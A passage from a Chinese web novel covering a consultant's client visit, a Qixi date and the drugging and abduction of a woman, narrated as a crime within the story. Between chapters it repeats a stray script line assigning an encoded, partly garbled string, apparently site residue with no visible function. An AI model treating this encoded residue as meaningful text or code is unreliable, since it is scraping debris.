事业部外型看起来是个废弃旧仓库。高大且锈迹斑斑的铁门刷了一层淡色油漆,此时敞开着,进门就是办公区域,一览无余,办公区往里有一个简陋的会议室,会议桌有些旧,但布置还较为整洁,隔壁有一个洽谈室,基本作为办公和洽谈两用。 走往里面有半截是私人区域,一半是住处,用木板隔开,靠外边是洗手间和厨房。 此时大家正稀稀拉拉的围坐过来,讲着有的没的,气氛倒是愉悦,没有半分苦涩的样子,九月的身影在厨房和会议室一只临时小餐桌之间窜梭。 桌上除了西红杮鸡蛋面和煮白蛋、油条,瘦肉粥,还多了满满一盘饼。 “开吃吧,今天起得早,去市场抢了几只新鲜的虾,剁碎了和着面煎成虾饼。你们几个嘴越来越叼,我这点手艺都快不够用了。” “哇!虾饼,有口福了。” “尝尝好不好吃。” “九月姐,我这一天最幸福的时光,就是早餐时间。”书生说着也过来了。 “书生现在的口才跟文笔齐飞了。不过,这虾饼真不错诶!” “我这说的真心话。”书生说道,夹起一个虾饼塞进嘴里。 “只要你们满意就不枉我忙活这一早上。这有现炸的豆浆,你们趁热喝。”九月笑笑,把一壶豆浆放在桌子中间。 “领导,你不过来吃点吗?”老欧问道。 “我想起有个邮件昨晚忘记回复了,得赶紧处理,一会还要去客户那里,我怕忘了。”九月说着就走到隔壁的洽谈室,无意间就看到尚云神情复杂的站在门口,也不知来了多久了。 九月一时愣住了,半天才反应过来,眼睛亮了一下,脸上闪现雀跃笑容,不消半顷便恢复如常,快步向尚云迎过来说道,“尚总,你怎么来了?” 正埋头大块朵颐的几人,齐齐转头朝办公区域看过来,看到尚云站在门口,都停住用餐,一个个都默声走过来。 “尚总好!” 尚云朝九月走了两步,他看着九月说不出一句话来,眼中蒙了一层水雾,半晌才对整整齐齐排成一横队的六人说道:“这段时间辛苦你们了。” “劳有所获,一点儿都不觉得辛苦。”任聪说道。 尚云目光转向他,见他目光坚定,气质沉稳,身上发生了翻天覆地的变化,大感惊讶,“你是任聪?” “尚总好记性。”任聪咧嘴一笑。 尚云点点头,又转移目光看其他人,这帮人哪里还有当初第一次见面时的社会习气,如今气场完全不一样了。 “你们变化非常大,我相信,你们将会是普世最出色的团队!”尚云说道。 老欧咧嘴一笑,神情骄傲地说,“我们领导也这么说过。” 其他几个人获得尚云认可,也都喜不自胜。 “你们看,尚总也这么说,证明当初我的眼光是准确的嘛!”九月说道,尚云夸他们,比夸了自己还开心。 “当然。”尚云抿嘴笑了笑,说道:“你们先去吃早餐吧。我先跟你们领导单独聊两句。” 九月便跟着尚云走出去,在空旷处停下来。 见他一直没说话,九月便主动开口,“你什么时候回国的?” “刚下飞机就过来了。”他顿了顿,千言万语一时不知先讲哪一句,平时言谈清晰,思维敏捷,这会儿全都不凑效了。 “一会还得开车回去?” “我这几天都会在姜城。”尚云说,“给你们找个好一点的办公地点。” “现在这个办公环境我们都已经适应了,客户知道我们总部在宝宁,也并不纠结和考察我们的临时办公地点,所以不必这么麻烦。就算要换,这些事情可以让下面的人去做,你何必那么辛苦?”九月有点惊讶。 尚云笑了笑并不答话,只是目光温柔地看着她。 九月马上就明白过来,脸上浮现红云。 他是借着这件事留在姜城与她多些相处的机会,算算时间,自上次分别已经半年未见了,两人埋头在工作里,除了出差还是出差,几乎没有闲下来的时间。 “明天工作怎么安排?”尚云问。 “之前预约好今天去给一家客户做初诊,如果顺利的话那明天可以整理报告准备驻厂深度诊断。手上还进行着另一家客户的方案没结案,如果有时间还得去那边瞧瞧。”九月如数家珍,“你呢?有什么安排?” “要不,明天休息一天吧,我陪你回安源看看。”尚云听着事情并不紧急,便替她作主。 “好。”九月笑道。 “那你们去忙,我去分公司看看,下班后来接你。”尚云说道。 九月又点头说,“好。” 姜城离分公司并不远,坐高铁也就二十几分钟。因时差问题,长途奔波又马不停蹄地来到姜城,尚云再好的体力也觉得有了疲态。便决定要坐高铁去分司。 无巧不成书,分公司正好有一位潜在客户主动上门,说是听了尚云开设的课程慕名而来。他也没说要咨询业务,更没有说自己公司需要任何服务,来了普世分公司便四处打量。 普世公司的文化向来不会悬挂于外,只有少量有标志性的内容,他边看边喃喃低语,旁边有工作人员跟他讲话,他也爱搭不理。 于是,工作人员就把老甘请了出来。 老甘便将他请至会客室,耐心的询问,“您好,我是分公司负责人,姓甘。我看您在我们公司的标识牌前留连,想必是想通过我们公司的文化来了解我们的业务?” 此人撇撇嘴道,“那当然,一家管理咨询公司如果连自身的文化都没做好,你就算口灿莲花说要如何为客户服务好,是很难说服人的。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百六十二章 尚云助力分司成交 上门的客户一般是精准需求客户,就算语气不善,老甘也丝毫不以为意,“我认同您的观点。但是,通过几个文化标识牌就判断一家公司文化好与坏,还是太过武断了。您是通过什么方式知道我们公司的?” 老甘这么问,也是想知己知彼,用合适的说辞来打动对方。 “之前听了贵公司的尚总在直播间免费授课,我当时从头听到尾,但是运用起来还是力不从心。好在得知你们现在开设了分公司,刚好离我公司也不远,专程来看看。” 老甘还没说话,就听一个清冷的声音接过话头说道:“听了课程但运用起来阻力重重,说明课程没有理解透彻,所以无法灵活运用。因为我讲的案例你的公司不一定有,你公司那些情况,自然无法现套现搬。” 老甘和客户朝声音来源望去,同时惊讶站起来道:“尚总。” 尚云微微一笑,示意二人坐下。自己挪来一张椅子在旁边坐下。此时分司的客服文员端来茶水,分别摆在三人面前。 “尚总,想不到今天能见到你本尊,太荣幸了。我姓顾,公司就在山水路往东的新盛世工业园,离这里开车只花了不到半小时。特意来这看看,算是取取经。”顾客户将自己的名片从皮夹子里掏出来,递给尚云,也发给老甘一张。 尚云接过去,稍微看了看。“这个地方我略有耳闻,有一大片新建成的工业区,相传有很多知名企业将要入驻。” 顾客户点点头笑道,“对,工业区是新建的,我们公司就在工业区第一栋。工业区刚建好没多久就来了,抢了个好位置。” “顾总是个有决断力的人,工业区刚建好的时候基础设施还没跟上,周边杂草比人都高,能惠眼识珠可谓眼光独到。现在周边像模像样,繁华了不少,交通也重新规划,倒成了不错的地域。”尚云话锋一转,说道,“不过,对于文化这一块,顾总毕竟是行外人,就算莅临我司,也未必能看到真实情况。说是来取经只怕就更加要失望了。一会由我们甘总带你去分公司各部门转转,参观一下。不过,就算看到点什么,每个企业所呈现出来的企业文化都是结果,而产生这个结果的是内藏于深处不为人知的驱动力,也就是文化内核。 如果看到我公司在做什么?有什么文化制度,挂的是什么文化标识内容,你一丝不漏地全部模仿回去,也不会在你公司起到什么效果。因为你不知道我每一项文化制度后面的出发点是什么,经历了什么变革,有什么样的触动和经历,才积淀了这项文化并使全员心甘情愿坚持执行。 如果只是学了招式回去,你用起来别扭,员工也一头雾水,不会有成效。关键要创建属于贵公司所独有的文化内核,真正能凝聚人心的就是靠这一点,可说是企业文化的本质。” “那......参观就不必要了。”顾客户笑道,“我公司的情况复杂,自己一时半会无法将课程弄精通。今天既然有幸遇见尚总,那今天就有个不情之请,我希望跟分公司签合约,由您亲自帮我去公司看看,解决我的难题。否则我始终心悬在那儿,不踏实。” 老甘低头掩饰尴尬。 尚云看了他一眼,对顾客户说道:“普世公司能有今天,不是我一个人的功劳,是公司团队的深厚功力,一点一滴累积到今天的高度。公司创建近五年,团队里的人员都是一路过关斩将,打硬仗过来的。每个顾问手里的案子无数,什么棘手的案例都处理得妥妥贴贴,迄今为止还没出现过失败的案例。所以,你完全不必如此顾虑。 如果你实在不放心,你可以把公司情况跟我说说,我跟甘总一起去你公司实地考察,然后写上自己的建议,交给团队去处理。他们有自己擅长的手法,方案由他们自己去写。 熟知普世服务规则的人都知道,凡是我们的客户,均享有合同中所服务内容条款的终生免费咨询服务,和三年一次回访修正服务,免除客户的后顾之忧。” 顾总尽管内心极度依赖尚云,但他将话说到这份上了,似乎没理由再提要求。 简单将事情原委讲了一遍,原来顾总的公司经历过一次分裂,自那以后公司全体就失去活力,毫无斗志,顾总听生意场上的朋友说可以组建企业文化,基本可以扭转情况。 “也怪我自己,受官司影响也无心管理公司,现在官司是结束了,但公司已经摇摇欲坠。” 尚云道:“一般来说公司经过这种动荡,会有不少人离开。” “你说的没错,的确差不多离开了大半人。” “那公司现留下来的都是哪些岗位?” “哪个岗位的人都有。”顾总想了想,“管理岗位剩下的都是我提拔的人,重要岗位上有的是我的亲戚介绍进来的,还有一些是外面招进来,没有‘属性’。在事件中一直保持中立,完全不受影响的人。” “这些只是你自己的主观判断。趁今天有时间,一会我们去你公司一趟,你不用跟任何人交待特意摆出资态,就介绍我是个普通供应商。”供应商在企业下游,传统来说是威胁不到自身利益,有利于放松。 尚云解释道,“我们想看看公司氛围,也想探探虚实。企业裂变中,对企业文化会有所损害。只要各方坚守中正,不伤根本,没有很大的影响。既然已经伤及根本,不如从内而外地重建,脱胎换骨,就别修修补补了。” 如此敲定计划后,顾总便离开了。 尚云跟老甘深聊了一番,老甘介绍分公司目前的境遇,也提及九月的鼎力相助。 他说,“经过这几个月的起起落落,我自身的不足也暴露无余。当初自信满满向你承诺会将这三个团队带好,让第一分公司为后面的分公司打个好样。现在想来真是惭愧,要不是慕总助大力援助,分公司早就散了。” “老甘。”尚云深吸一口气,“自信是一项好的品质,带团队需要魄力,如果你都不自信其它人哪来的自信?你不用自我置疑。我们遇到的困难是全普世的困难,不是你一个人所能扭转的。你和我面临的困境一样,好在都有外界给予帮助,这值得庆幸而不是惭愧。 不过,能够在事件中反省自身的不足,这就更难得了。在带团队方面,你的能力我是知道的。但我们以前走得太顺,以至于整个普世产生了一种错觉,以为自己的团队锐不可挡所向无敌。在关键时刻,我作为掌舵者没有警觉到异常,这是我犯的错,导致普世遭遇如此重挫。” “尚总,我......”老甘神情复杂,内心波涛汹涌。 “我不是安慰你,我想告诉你,人非先知,谁都有可能犯错。关键是在错误中成长,吸取教训,马上反应过来做好补救措施。经历这些事,我相信你比之前更加稳重,也更为周全谨慎。 虽然公司一直强调竞争力,但也一直强调团队的凝聚力。九月资历不如你,但在带团队这方面她的做法值得蓝鲸团队借鉴。有时虚心学习不仅不会损害我们尊严,反而带给我们进步,有利于生存。” 老甘由衷地点头认同:“以前愚昧,偏见视人,现在我发现九月确实很优秀,正在学习她的一些思维方式和处事方法。” 尚云见他开了窍便站起来,老甘也跟着站了起来。 “从另一方面来看,早经历一些挫折反而是好事。公司的规模一定会越来越宏大,未来会有更大的重担交给你,如果你能将内心的自责转化为力量就更好了。”尚云拍拍他的肩膀,鼓励他。 老甘感动得不知说什么好,“我明白了。” “明白就好,你去准备一下,跟我去顾总公司转转。” “好。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百六十三章 尚云九月七夕约会 两人驱车去了山水路的新盛世工业园,这边视野开阔,公路和设施都是崭新而整洁的,有种开车行驶在大都市宽大街头的错觉。 顾总的公司很好找,在公司稍微转了一转,尚云跟老甘两人换了顾总公司的制服,以新入职基层管理的身份去各部门了解,跟大家互相认识。正巧也参加了公司例会。 下午三点左右,尚云脱去制服,跟顾总实话实说,“公司的向心力不足,做事没有热情,像一湖死水。很多问题是上半年遗留至今未解决的事,不是没能力去做,都不想得罪人,能推就推,能拖就拖。这种情况公司要赶紧采取措施纠正过来,太危险了。” 顾总拍着大腿道,“就是这种情况,急得我嘴泡都出来了。那今天就签合同,只要能让公司正常运转,要付多少服务费都好说。” 尚云摆摆手,“顾总,你公司现在的规模并不是很大,虽然成立有十来年了,但是问题也并不严重。我们不会乱开口造价,更不会趁火打劫,一切按照规定收费,贵公司这边也要积极成立项目,我们会全程指导。” “好说好说。”顾总很高兴。 当天让分公司团队制作好合同发过来,老甘让顾总公司的人打印出来双方签订了合同。 三人坐下来闲谈,话题仍是围绕公司改革方向。 尚云也像之前约定的那样,提出自己的建议,将顾总将公司的扁平化管理改成纵向管理结构。变故之后的公司,总共就剩两百来号人,平时也没有分上下层,每个部门隶属boSS直接管理。 “第一步,把所有平级部门变成自我监管层级关系,一层级受二层级管理,二层级受三层级管理,三层级受四层级管理,以此类推。但这样并不是真正意义上的上下级,最高层级受一层级管理。这是一个循环阶梯链。 第二步,从平级部门群龙无首的情况,到每层级部门都有上一层级的监督和推动。 第三步,设立奖惩,一层级部门工作没处理好,二层级部门全体受罚。如果一层级部门工作超额完成,一层级和二层级一起奖励。 第四步,奖惩规则标准化,上一层级部门考核下一层级部门的工作态度,因为两个部门工作内容可能跨度太大,隔行如隔山,但是态度是可以看得到的。 所谓态度,可能几个维度考核:一件工作有问题是否有想办法解决的行动,“想办法”的标准必须有三个以上解决方案和实施痕迹,结果反馈。工作目标是否及时完成,如果未及时完成,则需补充说明这一天具体到分钟,到底在做什么?” 尚云说,老甘则记录下来。 其实根本不用记,在文咨行业这么长时间,尚云稍微说几句,老甘就明白他的规划了。只不过用记录的行为来让顾总放心,顾总心里只认尚云,只有记录下来他才会相信以后的方案中都是按照尚云思路拟定。 顾总在一旁听得很仔细,也没有插话。 尚云转头看向顾总,继续说道:“这种管理模式主治散漫,营造紧迫感,只是一个权宜之计。 经历此次重创,企业文化只会变成空洞的口号,必须以硬性制度去支撑软绵绵的文化,沉淀出成新的文化制度最初模型——循环阶梯链。 在半年内,公司业绩与绩效都跟上来了,但顾总要做好心理准备,新的文化势必会自然淘汰一些老员工,公司会陆陆续续的换血。企业文化宣传也要持续进行,改革不是一朝一夕的事情,顾总稳得住就一定能见到曙光。” 顾总又是一番表态,愿意紧跟普世团队的脚步。 看看时间也差不多了,两人离开了顾总公司。回去的路上,尚云说准备坐高铁去姜城,老甘提出要开车送他。尚云拒绝了,说开车太慢,得两个小时。 老甘便将尚云送去高铁站,见尚云身影消失在高铁扶梯口才转身离开。 此时,九月跟团队也在返程路上,干周突然指着路边一排花店,摆满了刚批发回来的玫瑰花,突然兴起道,“明天七夕节耶,方仔,咱们俩明天晚上出去浪一下。” 方仔闻言嫌弃状,整了整衬衣:“我们俩......你想多了吧,我对男人不感兴趣。” 老欧和书生都笑了,任聪则转头瞧了瞧九月,九月若有所思也转头看向窗外的花店。 只听干周“切”了一声:“是你想多了,我对男人也不感兴趣。我是说咱们结个伴什么的,明晚一起去偶遇。谁不知道你平时人五人六,见了女孩说话都哆嗦。” 方仔翻了翻白眼,“我现在一心搞事业,智者不入爱河你懂吧?” 其他人都笑了。 九月闻言也抿嘴一笑,突然想起尚云挑这个时间回国,陪她去安源,难道是因为这个节日? 老欧问道:“领导,咱们明天有福利吗?” “你要什么福利?” “比如发个女朋友什么的?” 大家轰然大笑。 九月笑过之余却说:“你这个提议不错,倒是可以提议总部给我们搞个联谊会,帮帮你们这帮渴望爱情的年轻人。不过明天就是七夕,现在申请已经来不及了。” 老欧还没接话,九月笑了笑,又正色道,“没关系,咱们这几个月努努力,等国内业务稳定后,我可以向总部申请这样的活动,争取让大家事业爱情双丰收。” 老欧呼应:“领导万岁!” 书生也笑了:“这个福利可以,很实在。” 其余人也乐呵呵的笑,热烈响应。 干周就趁机损方仔,“你高兴个什么劲,不做智者了?” “你懂什么,智者随时可以出尘、也可以入世,随缘转换。”方仔不亏是沟通高手,怎么抛过来,就怎么怼回去,两人这嘴仗打得热闹。 大家听着开心,跟着瞎起哄,个个眉飞色舞,神采飞扬。这样的团队氛围,别人刻意酝酿都学不来。 回到公司后,九月便跟团队开个短会,说要回一趟老家,安排休息一天。 自从开年之后来了姜城,九月就进入了全年无休的工作状态。 工作位置比较偏,两公里处有个工业城,要走到工业城南门才有早餐店,但早餐种类贫乏。因此,九月每天起得比他们早给大家变着法儿做早餐,就为了让大家多睡一个小时。 白天在客户公司出差,晚上要整理资料和批阅他们的方案,发给木信总经理的报表,都是深夜做出来的。 长期只休息四五个小时,就算铁打的人,也受不了长期这样上了发条似的转。 九月突然要休息,大家自然是大力支持的。 只有任聪欲言又止,最后沉默了。 尚云发信息问,“你忙完了吗?来接你。” 九月发了个地点,“你在那儿等我,十五分钟到。”实际上花了差不多半小时。 可不是什么欲擒故纵,是走到半路,高跟鞋崴了,前不着村后不着店,只能在路上拦了辆私家车,客气地让人带她一程。 对方见九月举手投足也不像那些不正经的人,便欣然答应。 到了地方,那人放下她便走了。 尚云正站在十字街头低头回信息,夜幕已经拉开,周边有个超级大商场,还有一条天桥,整个桥栏上绕着小指头粗的彩灯线,晚上一来便全都点亮,粗糙了点,不过在姜城,这些算是一种繁华了。 抬头时,看到驻足在对面的九月,人来人往中,两人隔着四车道的公路,遥遥相望,相视而笑。 绿灯亮了,尚云走了过去。 “鞋坏了?”尚云低头看见她提着一双高跟鞋,赤脚站在地面。 “走一半就坏了,让你久等了。”九月有些难为情地说。 他便接过鞋子,屈膝弯腰在她面前,“我背你。” 九月左右看看,有些迟疑。没想到他手一勾,便将她扯到背上背了起来。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百六十三章 陪你看星空 来往的路人侧目相望,或艳羡,或看新鲜,或掩嘴惊呼。 “到了对面就放我下来。”九月在他耳边低声说。 尚云故意走得很慢,说道,“不行。” “别人看着怪不好意思。” “何必在乎别人眼光,你开心就行。” 九月幸福得一塌糊涂,把头轻轻靠在他颈边。最终,尚云背着她在超级商场里的一家鞋店停下来。 店员见这情景面露善色,倒了两杯水给他们。很有眼力见,问了尺码取了合适的鞋给九月试。九月选定后,尚云说了一个尺码,叫她拿男式同款过来。 九月脑上洋溢着幸福笑容,两人接着又去了服装店,买了情侣装当即换上。本来就男俊女靓,特别养眼,换上情侣装后更显得像是明星般出现在面前,看店员惊艳的目光,恨不能拍下一张照片给这套服饰作广告用。 两人心满意足驱车在夜色中奔驰而去。 “你说普世员工看到平时一脸严肃的尚总穿成这样,团队会怎么想?” 他笑道:“尚总也是个有血有肉有情感的凡人。” “嗯,说的是。现在我们去哪?” “先不告诉你。”尚云神秘地样子。 眼见车窗外的景色越来越熟悉,九月恍然道:“我们这是回宝宁?” “对。”尚云说着,将车转到最边上的车道,顺着指示下了高速。并不是惯常下车的路口。 不一会,车子便来到热闹繁华的市区,停在一栋高楼大厦的地下停车场,牵着她从地下室上了二十七楼。 电梯里有一台广告电子屏,正播放星空之境的宣传视频,九月看着好奇,目不转睛盯着屏幕。他们所在的电梯像是一架专梯,途中没有停顿,叮咚一声已经到了,有三位美女客服站在电梯口,欢迎他们光临。 尚云出示自己手机里的二维码,对方扫了一下便领他们来到一个房间。 房间里规格不算特别大,三面都是智能电子防爆钢玻。外面五光十色的霓虹景致尽收眼底,九月走到落地玻璃前,惊叹不已。 尚云不知按了哪个开关,房间里突然一片漆黑,九月几乎是条件反射状地惊呼了一声,尚云怕吓到她,快步走至她身边,很明显发现她在颤抖。 “我去开灯。”尚云想起上次她在自己车里睡醒后恐惧的神情,突然有些后悔。 九月拉住他,声音里略微有些气息不稳:“不用。挺......好看。” 尚云在黑暗中注视她良久,见她情绪越来越稳定才放松下来。 四周墙面和头顶竟变成了旷野星空,星云触手可及,仿佛置身云端,星光闪烁之间,九月喃喃问道:“我们在哪?” “在哪都没关系,我们在一起。”尚云用最平常的语气说着最甜的情话,九月听得心头怦然。 “来,我带你去摘星星。”尚云刻意轻松开玩笑道,牵着她的手在沙发上坐下,系上安全带。他按了沙发扶手边的一个开关,沙发升腾至半人高,如木马一样缓慢在房间里幽幽转动起来。 九月只觉得身体浮在空中,很没安全感。若不是尚云揽着她的肩膀,差点失声叫出来。 “喜欢吗?” “喜欢。”九月逐渐适应飘浮感。 “把7d眼镜戴上。”尚云递给她一副眼镜,两人相依坐在沙发上,随着虚拟场景在星空遨游。 几分钟后,看到流星雨的时候,九月终于激动地说道,“有流星雨,尚云,快许愿。” 尚云心知那是虚拟景致,见九月高兴,便依言。“好。” 这边刚许完愿,眼前又出现了大片极光,九月像个小孩儿,不可思议地道:“有极光,尚云,我们是不是太幸运了?” “为什么?”尚云知道极光是北极一种罕见的自然景光,但这跟幸运有何关联? “传说,一起看过极光的人会得到长久的爱情,也会一生幸福。”九月说。 尚云第一次听到这个说法,心中一动,默默与她十指紧扣,对变化多姿的极光多了几分敬意。层出不穷的星空奇观,让两人大开眼界。在浩如烟海的星空里,两人显得极其渺小,很容易陷入对短暂生命的思考。 因此,两人依偎在一起,却各自陷入沉默想着事情。 “你在想什么,九月。”尚云问。 九月反问道:“你呢?” “身处当下便想当下,我在想我安排的这些,你是否真正开心。”尚云说道。 “当然开心,你为什么会这么想?” “刚才你吓到了。”尚云语气中多了一丝内疚,紧了紧臂弯,好像稍微松松手,她就像流星一样从天际消失。 九月沉默一会,说道:“但是,我也很享受你这样用心的安排。” “你真是这么想的吗?”如王者般的尚云在九月面前显得很不确定,很需要她的认可。“我大部分思考和精力都花在工作上,在感情上却显得手足无措,甚至有点笨头笨脑。但是,我希望能让你感受到其他女人享受到的甜密,留下以后能慰藉人生的温暖回忆。如果我做的不对,你可以提出来。” 他说的很诚恳,但是女人,尤其是国内的女人绝不会自己提出不满,宁愿自己生闷气。所以,虽然她不会真的提意见,但九月轻轻笑了,“好。” “现在可以告诉我,你刚刚在想什么吗?”尚云说道。 九月依靠在他怀里,望着眼前的繁星,如梦幻般地虚无飘渺:“看到这满眼繁星闪烁,不禁想到人如烟尘般在宇宙中微小而不可见。你听说过风滚草吗?” 尚云认真想了想,摇头:“还真没听说过。” “它是沙漠地区一种杂草,干旱时自己将根拔出,伪装成枯死的样子任风飘凌,遇到雨水充沛的日子或是地区,便会扎下根汲取水氛,在雨水干涸之前完成开花结籽短暂的循环,狼狈却习以为常。再重复收缩根枝的日子随风飘凌。”九月说道,“我曾经跟一位朋友说起过,15岁后,我就是一棵风滚草,对人生没有太多期望,在各个城市飘荡,过着草率而无意义的生活。如今再想想当初说过的这番话,那么现在遇到你之后,我的人生就像风滚草遇到了长年雨水丰沛的肥沃地区,终于大胆随性的在阳光下开出煊丽神秘的紫色花来,从此有了自在滋润的回忆。我很庆幸回到宝宁市,否则,该多么遗憾。” 尚云只是沉默听她说,听完亦不发一言。 九月抬头,看到星光下他眼角泪光闪烁,忍不住伸手抚拭他的泪水。 尚云抓住她的手握在掌心,另一只手移到她后脑勺,低头热烈吻住她,泪水落在她脸上,滑落。 激吻之后,两人又在黑暗里沉默坐了良久,甚至希望就这样天荒地老。 但九月腹中传来“咕噜噜”的声音,让尚云决定暂停这浪漫的夜游。 “竟忘了你还没吃饭,该死!”尚云忍不住飙了一句英语。 两人离开星空大厦后,去了南月楼,是九月提议的。她知道尚云喜欢那家餐厅口味。 客服经理隆英明看到尚云和九月光彩照人的情侣着装打扮,虽没说半句工作以外的话,却眉开眼笑,在他们点好菜后,自己做主送了两道别有寓意的菜和甜点祝福二位。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百六十四章 关之洁遇险 吃完饭后,尚云让九月在门口等他,他则去取车。 这时,不远处的天空炸天一团团煊烂的烟花,璀璨到极致时再一一坠落。 九月怔怔看着那烟火,看了下手机,已经晚上十二点整。 走出来时没穿多少衣服,这时夜风一刮才察觉进入深秋的夜晚真是冷。 也许从现在开始即是七夕节,人们早就想找个由头放松。街上还是有不少夜归的人。 就在这时,九月电话响了,是关之洁打过来的。 这么晚上,她怎么会打电话给自己?她接起电话喂了一声,那端却没有关之洁的声音,只有几个男人的声音。 “宝贝,有什么想不开的呀,哥哥是来疼你的,不欺负你。来,跟哥哥走。” “哥哥?谁要叫你哥哥。”关之洁咯咯笑,眼泪纷纷落下。 “叫什么都行,咱们先找个地方快乐一下才是紧要。”这人的声音又响起来:“先喝了这杯酒,一切烦恼就都忘了。” “我不想忘,不想忘。”关之洁不肯就范。 男人似乎没耐心再听她的醉言醉语,扣住她的下巴,把瓶里的液体硬灌进她的嘴里。 关之洁被猛灌了几口,呛住了,一把推开他,咳得厉害。身体突然腾空,她被人抱了起来,塞进一辆面包车。 关之洁酒醒了大半。发自本能的抗拒,却体力不支,她惊慌了:“你是谁?放开我,放开我。” 男人大概是被她高跟鞋踢到,有些恼怒,脆生生地扇过去一巴掌。“给我老实点。” 关之洁被他撑掴得眼冒金星,动弹不得。 “哥们,开快点,从这栋楼的后面走,有直通城南的路。”那人一踩油门,车子离箭而发。 关之洁推开男人不停凑过来的嘴脸,推着车门,“停车!求求你停车!” 驾驶位上的男人从后视镜看过来,提醒道:“小姐,注意安全。别这么早就把小命玩完,浪费我500元钱的药。” 关之洁知道车门已经被锁了,泪如雨下,摸索着包包里的手机,手机呢?摸了半天,她绝望的发现手机没在包包里。 “宝贝,手机在哥哥这里。早就知道你会来这一招。”男人举起已然黑屏的手机,他不知道,自从东维升离职那日莫名其妙的提醒关之洁,无论未来遇见什么危险,第一时间打九月电话,最好设置成快捷电话。 看他的严肃的样子,关之洁照作。当时男人误打误撞,按关屏键时无意启动快捷电话设置。 九月在那边知道关之洁出事了,左等右等尚云的车还没出现,又不敢大声喊话担心对方掐断电话彻底失联。她心急如焚地走至路中央,终于拦了一辆计程车,低声道:“去城南。” 东维恺没说错,“九月看似冷漠,实则心软,不会见死不救。”他还有一重考虑,能对关之洁不利的只会是小竺的人,九月和小竺的关系千丝万缕,或许她能帮到关之洁。 人都是自私的,他为心爱的关之洁考虑周全,却唯独没有考虑过九月的处境。 “城南那地方很荒凉。”司机师傅回头看看九月,见她不像会生出歹意的人,还是好心劝道:“你一个女孩子凌晨去那儿不安全。” “别说话,我给你双倍车费,拜托了!”九月将电话举得老远,低声央求。 听九月这样说,师傅见情况比他想像的复杂,便犹豫一下,应下来了。偷偷在车内装置上按了报警电话,以计程车公司的暗号报警。 尚云开车出来时找不到九月,打电话被挂断,觉得蹊跷,便上南月楼的监控中心查了九月所站在位置。 “从监控看慕小姐好像是接到一个电话,急切离开,应该是往城南方向去了。”工作人员说。 他心如焚炽,打了严教官的电话,共享了位置便钻入车里,向城南位置驰去。 电话里关之洁胡乱挣扎了一番,便安静下来。显然是晕过去了。 城南有一个大渔场,靠近养殖场,月黑风高,渔场旁边则是一片荒野。不远处几座稀稀落落的平房是平时渔民收耕季所住,但此时皆是黑灯瞎火,寂静无声,竟是半个人影都没有。 关之洁被两个男人从车里拽出来,扛在肩上进了一间平房。 师傅在转角处便不肯往前走。 九月便付了钱下车,渔场片区远远亮起一盏灯,太远,仅能凭借微弱的视觉黑灯瞎火走在石子路间。 她紧张到秫秫发抖,悄悄靠近那间亮着灯光的平房,听到房间里传来关之洁的声音。 关之洁看着三个不断逼近的男人,惊恐地瑟缩成一团。“不要过来,求求你们不要过来……” “哭了啊?没关系,哥哥就喜欢你这梨花带泪的可人样儿。哈哈……”男人互相对视一眼。 关之洁不断后退,眼见两个男人步步紧逼,她费尽全部力气从地上站起来,往门口逃,没走一步就被人拽住头发,狠狠撞墙。 她额角血流如注。其中一个男人低声埋怨道:“下手太重,给整没命就麻烦了。” “要不是她想跑能这么对她?放心,死不了。” 九月咬了咬牙,鼓足勇气就要撞门。 这时看到不远处停下一辆车,光柱照在九月身上,车厢内的灯光突然就亮了。一个大腹便便的女人走下来,九月呆立在场。 女人竟是小竺。 小竺也很意外九月会在这里,她神色复杂起来却并不惊慌:“是你呀?” 九月“咚咚”敲着门,目光却停留在小竺脸上,室内果然没有了动静。 小竺轻描淡写地说道:“你知不知道你现在的处境很危险?不要以为我们曾经那些情谊我就不会对你怎么样,我随时可以让你跟她一样的下场。” “小竺,你不是这样的人。我认识的小竺阳光开朗,跟这种场景没有半分干系。” “你真的认识我吗?就敢说这样的话?我就当你在夸我演技好。”小竺冷笑一声。 “你怎么变成今天这个样子?收手吧!”小竺言行举止让九月感觉陌生。 “敢跟我抢男人,我凭什么要放过她?”小竺指指高高隆起的肚子,语气平缓地说道:“你看见了吧?我怀着孩子,他却时时刻刻挂念着屋里那个女人。就在今晚,他们两人又见面了。这口气我咽不下去,我要毁了她。” 说这番话的时候,小竺有几分满不在乎。就像稀松平常地聊起日常琐事。 九月突然想起某个深夜,东维恺发来短信让她保护关之洁,一连串的疑惑瞬间解开:“东维恺是你丈夫?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第一百六十五章 九月孤身犯险 